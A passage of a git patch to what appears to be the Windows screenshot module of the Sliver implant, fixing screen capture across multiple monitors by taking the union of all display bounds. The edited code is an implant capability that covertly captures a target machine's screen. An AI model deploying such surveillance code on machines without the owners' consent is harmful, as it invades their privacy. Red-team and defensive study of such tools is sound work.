From b5e611d73b84aa56154b53d43afbcb0d9afc44cc Mon Sep 17 00:00:00 2001 From: smeukinou <36619449+smeukinou@users.noreply.github.com> Date: Fri, 5 May 2023 11:13:32 +0200 Subject: [PATCH] FIX windows screenshot when multiple monitors are used, and they are not exactly side-by-side --- implant/sliver/screen/screenshot_windows.go | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/implant/sliver/screen/screenshot_windows.go b/implant/sliver/screen/screenshot_windows.go index 5fc14be8cd..21199cd796 100644 --- a/implant/sliver/screen/screenshot_windows.go +++ b/implant/sliver/screen/screenshot_windows.go @@ -20,6 +20,7 @@ package screen import ( "bytes" + "image" "image/png" //{{if .Config.Debug}} @@ -28,7 +29,7 @@ import ( screen "github.com/kbinani/screenshot" ) -//Screenshot - Retrieve the screenshot of the active displays +// Screenshot - Retrieve the screenshot of the active displays func Screenshot() []byte { return WindowsCapture() } @@ -37,15 +38,13 @@ func Screenshot() []byte { func WindowsCapture() []byte { nDisplays := screen.NumActiveDisplays() - var height, width int = 0, 0 + var all image.Rectangle = image.Rect(0, 0, 0, 0) + for i := 0; i < nDisplays; i++ { rect := screen.GetDisplayBounds(i) - if rect.Dy() > height { - height = rect.Dy() - } - width += rect.Dx() + all = rect.Union(all) } - img, err := screen.Capture(0, 0, width, height) + img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy()) if err != nil { //{{if .Config.Debug}}